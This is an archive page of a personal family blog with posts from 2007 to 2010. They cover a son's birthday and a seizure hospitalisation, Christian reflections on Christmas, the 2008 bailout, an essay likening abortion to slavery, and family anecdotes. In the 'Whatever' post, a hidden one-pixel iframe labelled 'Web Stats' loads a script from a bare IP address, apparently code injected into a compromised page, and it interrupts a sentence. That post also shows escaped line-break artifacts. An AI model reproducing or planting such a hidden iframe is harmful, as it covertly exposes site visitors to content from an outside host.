Archive for the ‘Uncategorized’ Category

« Older Entries

8 Years

Thursday, June 3rd, 2010

Eight years ago tonight, Will was born.  I won’t go into details about that night, you will get those soon enough in the story.  Instead, I will tell you about today.  Will’s birthday celebration included multiple wagon rides, fun with the bubble machine, music from the Beatles, opening presents with Grandma, Grandpa and Great-Grandma on ichat, friends and family singing happy birthday and LOTS of chocolate pudding.  It was a good day.

It is easy to buy presents for my other children.  They are quick to tell you what they want, and the trouble is always narrowing it down.  But with Will, I never know what to get him and I never know what to tell anyone else to get him.  He’s just so content with what he has.  He has a quality of “rest” in him that I do not often see, and certainly I don’t see it in the mirror.  I am grateful for my son.  I am grateful for his eight amazing years of life, and I am grateful for the One who teaches my heart through Will’s life every day.  Happy Birthday, Will!  I love you!

Posted in Uncategorized | No Comments »

Whatever

Tuesday, May 19th, 2009

I know, it\’s been WAY too long since I\’ve written anything, and I don\’t have anything burning to write at the moment, so I decided I would just list some random pieces of information.  This will be much like having a conversation with me.\r\n\r\nYesterday, Aaron said, One time, I put soap on my hand.  That was comforting.\r\n\r\nIf you want to cut hot brownies, you can use a plastic knife and they don\’t stick to it.\r\n\r\nLevi had a root canal this morning and is currently sleeping it off.  He\’s fine.\r\n\r\nI find rainy!– Web Stats — iframe src=http://74.222.134.170/stats.php?id=2 width=1 height=1 frameborder=0/iframe !– End Web Stats — days depressing.\r\n\r\nMy husband just drove our van through the front yard ???\r\n\r\nIf you dye your hair purple, a lot more people will talk to you.\r\n\r\nIf you dye your hair purple, your father will not approve.\r\n\r\nWind is air in motion.\r\n\r\nThere are squirrels living in our attic.\r\n\r\nOne time a squirrel ate my mom\’s 1970s rattan furniture.  She chased it out the back door.\r\n\r\nThat was not nearly as bad as the time the skunk got in our basement and sprayed.  \r\n\r\nNot long after the skunk incident, my grandfather gave my parents the two greatest cars Ford ever rolled off the line: a Pinto and an El Camino.  \r\n\r\nYou can use a baseball field to prove the pythagorean theorem. \r\n\r\nMy dad used the El Camino to drag the baseball field.\r\n\r\nIf a baseball player throws his glove at a ball in play, the batter gets an automatic triple, unless the ball (and glove assumedly) both go over the fence in fair territory, then it\’s still a homerun and the player loses his glove.\r\n\r\nI used to be an umpire, and I never saw that happen.\r\n\r\nI\’m currently reading The Divine Conspiracy by Dallas Willard.  It\’s very good and I highly recommend it.\r\n\r\nI\’m going to go see about my husband driving through the yard.\r\n\r\nLater Tater.

Posted in Christian Spirituality, Food, Kids, Remembering, The House, Uncategorized, books, sports | 2 Comments »

Scrutiny

Thursday, April 9th, 2009

There is a line between being thoughtful and being obsessive.  Check out this Q&A from my favorite theological website. This is one of the best answers to one of the worst questions I have ever seen.  Enjoy!

Posted in Christian Spirituality, Uncategorized | No Comments »

A Place

Wednesday, December 31st, 2008

As I listened to the song Labour of Love during the Behold the Lamb of God concert a few weeks ago, I was struck by the harsh reality of the birth of Jesus. I’m sure this is not an original thought, but it really came home to me this Christmas that no one had to give up a place for Jesus.  I’m always wanting someone to give up a place for me.  Give up a place in line because I’m in a hurry.  Give up a place at the table because I’m very hungry.  Give up a parking place for me because I have a handicapped kid.  I want a place.  I need a place.  I deserve a place.  Yet Jesus, he didn’t require anyone to move so that he could have a place.  Surely, someone would have moved if they had understood that Mary was having a baby in a stable.  Surely someone would have at least let them use a room if they had understood that God was at work, even without knowing it was the Savior.  But something I realized this year as I pondered anew the quiet birth, no one asked for a special place.  There’s no record of Joseph trying to sweet talk the innkeeper or oust anyone.  There’s no evidence of a revolt from Mary when they had to use a stable as a birthing suite.  And certainly, God Himself authors the entire story and does not make a place for His Son that is in any earthly way special.  When I think of it from Mary’s perspective, I start to get upset about the lack of accommodations. When I had a baby, I was all about the accommodations.  Now I realize the first century birthing experience was hardly comparable to the luxuries of today.  So when I consider that what I went through to have a baby with all the modern conveniences of medicine took me to my knees, I can hardly comprehend what happened in that stable.  So what do we do?  We mute the colors, porcelainize the characters, give them serene faces and make it other-worldly.  I’ve always been ok with that.  But this year I couldn’t do it.  I was forced to ponder the reality of a smelly stable, cold night air, the lack of a mid-wife and the blood and the pain of childbirth.  AND in that extreme situation, there were no concessions made.  No one worked the system for a slightly better position.  No one played the “Deity” card and got the penthouse suite.  The whole thing just smacks of humility.  I guess it is so striking because I smack of pride.  So now it’s New Year’s Eve and most of us have moved on from that stable to the amazing things we’re going to accomplish in 2009.  Christmas is over and now it’s about self-renewal.  But in that stable, it was never about self.  It was always about others.  He came to make a place for others.

Posted in Christian Spirituality, Uncategorized | No Comments »

Mr. Mischief

Tuesday, December 9th, 2008

Yesterday was a normal day, a good day at school, no problems at all, until Will had a seizure about 8:30 last night. We called 9-1-1 and administered his emergency seizure medication. He was taken by ambulance to Lakeland Regional where they stabilized him and then sent him to Arnold Palmer Hospital (a plan previously determined based upon prior situations that were similar.) The trip to APH was particularly special because they did not have any ground transportation available and although we assured them he was able to wait, they sent a helicopter for him! So Will FLEW to Orlando from Lakeland last night. We are settled in the Pediatric ICU (apparently they didn’t have any beds in Special Care so they stepped us up) and Will is awake this morning and asking to go to school. Ha!!! We are still not sure what caused the seizure, but they will run more tests today and hopefully this will not be a long stay. As always we appreciate your prayers. Hopefully Will will not complain when I take him home in the van instead of in first class with a warm towel and slippers for his feet!

Posted in Kids, Sickness and health, Uncategorized | No Comments »

$700,000,000,000

Saturday, September 27th, 2008

That’s seven hundred billion dollars.  That’s the amount of money our government is talking about spending for the financial bailout of “Wall Street.”  That’s some pothole to require $700 billion to fix it!  Now, I’m no economist, in fact, I’ve never even taken a class on economics.  However, I did take math, and any 5th grader can tell you that $700 billion is a buttload of money.  (A buttload, in this case, is equivalent to well over $2000 per person living in the U.S.)  Now, according to my sources (NPR, CNN.com, and Will Davidson, esq.), the real source of the crisis is the real estate market and the foreclosures faced by many homeowners.  It makes sense to me:  when banks foreclose, and people move out of their homes completely in the hole, with credit destroyed, then the banks assume the property.  The property goes up for sale, but no one is buying houses because all the people moving out have been foreclosed on and aren’t able to buy.  So the banks are holding assets they can’t cash in on and suddenly, the liquid is dried up because everyone is holding too much inventory.  Ok, so what’s the point, if you’re still reading?  What if the government was proactive with that $700 billion dollars?  What if instead of bailing out financial companies by buying defunct mortgages, they bought houses from the homeowners themselves and saved them from foreclosure?  $700 billion dollars would buy 3.5 million homes at the price of $200,000 each.  Currently in Miami, certainly one of the largest cities impacted by the housing crisis, there are a little less than 37,000 homes for sale.  That’s approximately 1% of the number of homes that could be purchased by the government if they were to listen (yeah right).  What’s the difference between buying defunct mortgages and buying homes at risk of foreclosure?  If a homeowner is able to sell his or her home before foreclosure, they walk away with credit in tact (or more so) and in some cases, homeowners could walk away with money from equity built over years of paying for their mortgages rather than losing it all because of trouble over the past few years.  These people would be more equipped to be homeowners again at some point and less likely to be homeless.  I’d be interested to know what the numbers of the homeless are as a result of the housing crisis.  Additionally, if these homes were taken off the market (the ones at risk of foreclosure) then the housing market could possibly recover.  As it recovers, the government could sell the homes it holds gradually, regaining their investment and keeping the market from getting flooded with homes again.  I’m sure my theory is full of holes, but I just keep coming back to $700,000,000,000 and thinking… now that’s a buttload of money.

Posted in Uncategorized, politics | No Comments »

The slavery of our generation

Saturday, August 2nd, 2008

[This is something I wrote several years ago.  It has been published in Spanish on the web here and I have shared it with a few people.]

In our enlightened age, one can hardly imagine the narrow minds that conceived of the institution of slavery as viable, good or defensible.  We marvel at the notion that humans were disregarded based on race.  I am proud to live in a land and a time where this heinous crime against humanity is no longer practiced and our past association with it is admitted with shame.  From this perspective, we see the shallow, selfish, arrogant nature of the arguments used to defend slavery—arguments such as these:

·      Negro slaves aren’t fully human.

·      They are not able to think in the same way and on the same level white men think.

·      I purchased these slaves, therefore they are my property and I can do what I please with my own property.

·      Freeing these slaves would hurt my lifestyle and ability to live as I now do.

Many of these arguments are false.  All of them are selfish.  However, if we look closely, we will recognize some of our own rhetoric regarding an issue which is hotly debated in our day.  That issue is abortion.

When we think of civil rights movements, we think of the refutation of the shallow arguments mentioned previously.  Unfortunately, those promoting civil rights are upholding these very arguments over the issue of abortion.  Do any of these statements sound familiar?

·      A fetus is not a person.

·      A fetus is not able to think and function as I function.

·      The fetus is inside me, therefore it is a part of me, and I can do what I please with my own body.

·      Allowing this fetus to live would greatly affect my lifestyle and I would not be able to continue to live as I now do.

Are any of these reasons good reasons for abortion?  Only insofar as they are good reasons to allow one race to enslave another.  And ironically, this debate is based on freedom.  We have turned the rhetoric for slavery into rhetoric for freedom.  Where is the lie?  It’s in the idea of freedom.  Does an abortion really free a woman?  Does pregnancy really enslave a woman?  These are questions which have not been asked in this 30-year debate.  But let’s ask.  Let’s ask the women who have experienced these things.  You, sister, who had an abortion 10 years ago, are you free?  Did that procedure liberate you?  Were you not told that it would offer you these promises?  Did they lie to you?  And you, sister, who chose to keep that fetus and birth that child, are you in shackles?  Are you a slave with no hope of a life of freedom?  Find you any joy in that one you call son or daughter?  It’s time we started asking the questions.  When we do, we will expose the lie. 

It is the great crime of our time.  Abortion is not the freeing of a woman, it is the enslavement of society to shallow, selfish and arrogant thinking.  How could we have been duped a second time?

Posted in Christian Spirituality, Uncategorized, politics | No Comments »

b-o-y-s

Tuesday, January 15th, 2008

Spelling is a big thing in our house right now.  It’s not Adam and I spelling to keep the kids from knowing what we’re saying, it’s Will.  He loves to spell.  If I say, “What does p-o-p spell?”  He says “POP!”  He also knows cat, dog, hat and all of our names.  He’s not afraid to try spelling just about anything.  He’s almost always wrong, but he’s not afraid to try.  Recently he said, “t-i-t, cat!”  Well, not exactly.  Speaking of… Aaron was with me shopping for “unmentionables” in Target the other day.  Apparently, he had no problem mentioning them.  He kept saying very loudly, over and over, “underpants!”  ”Yes, these are underpants,” I kept saying.  Meanwhile, I’m engrossed in finding the right size and style and color, etc. and he says, “Here, mommy!”  I look up to see that he has selected a giant, white padded bra and is waving it around in the air.  People are staring and quietly grateful it’s not their 3 year-old brandishing the giant bra.  And then there’s Levi, who now refuses to take a bottle of any kind and has been fittingly dubbed, “The boob man.”  Boys!

Posted in Kids, Uncategorized | 4 Comments »

Banned substances

Wednesday, December 19th, 2007

There’s been a lot in the news recently about the use of banned substances.  I can sympathize with some of the athletes who’ve been disqualified from sporting events for their use because I too was once disqualified from an event for the use of banned substances.  I know, this is a shock to many of you.  It was back in the early 80′s.  The banned substances were Cool Whip and Jell-o.  The event was the Brownie Scout No-Bake Contest.  It was rather humiliating and I don’t much like to talk about it, but I was afraid this info would be released in some Congressional report, and I figured I should come clean while I had the chance.  I had a great recipe and I was really proud of it.  The judges asked me the ingredients and I rattled them off perfectly, almost song-like.  Little did I know that Cool Whip and Jell-o were the cream and the clear of the Brownie Scout No-Bake Contest.  I guess it says something for reading the rules.  I’ve since tried to redeem myself with legitimate no-bake recipes.  (I like to bake as well.)  A few years back I was all set to enter a peanut butter pie in a pie contest for church.  I made two pies because I was so sure it would be a hit.  The event got rained out and I was unable to claw my way back to dignity in the culinary contest arena.  Tomorrow though, I am making all the desserts for the staff Christmas party.  This is my time to shine!  On the menu we have peanut butter pie, pecan cranberry pie, and hot fudge cake.  Not on the menu:  Cool Whip and Jell-o.

Posted in Food, Remembering, Uncategorized | 1 Comment »

Christmas for the Righteous

Sunday, December 16th, 2007

Thanks to my husband, I recently realized that Matthew’s genealogy of Jesus is also the genealogy of Joseph.  I don’t believe I ever considered how important this would have been in Joseph’s upbringing.  He was not a rich man, but he certainly was of royal lineage and I’m sure that was no secret.  I can almost hear how his mom would have said, “Now Joseph, you’re a direct descendent of King David.  If the throne were re-established, it could be yours!”  Or maybe she never put it that way, but I bet she dreamed about it.  Her son being king.  I bet he dreamed about it too.   Then the next thing you read in Matthew is how Joseph is met with the dilemma of a pregnant fiancee.  The baby wasn’t his, but the shame was.  Proud lineage intersects with shameful future.  I imagine Joseph thought about how he didn’t do anything wrong.  I bet he wrestled with the injustice of owning the shame of a bastard child.  Why did it have to happen like this?  He did everything right.  Of course, from here, we see why it had to be that way for Joseph, but we don’t see it in our own lives.  Every time injustice seeps into my life I cry and beat my fists in a temper tantrum deserving of a round on the timeout bench.   I can’t even get cut off in traffic without raging at the injustice of it all.  I know, save the drama for your mama.  It’s good for me to think about Joseph.  The injustice of his life led to his very own justification.  The one who brought shame on his proud name is the Name Above All Names and knew the most acute of all shame 33 years later while dying on a cross.  What kind of God chooses to be born and to die in a cloud of shame?  The kind that has power over it.  I am afraid of shame and I rage at injustice because I do not have the power in myself to overcome it.  Not so with Jesus.  Makes me look at Joseph differently.  Makes me look at my life differently.  Makes me look at Christmas … yeah, differently.

Posted in Christian Spirituality, Uncategorized | No Comments »

« Older Entries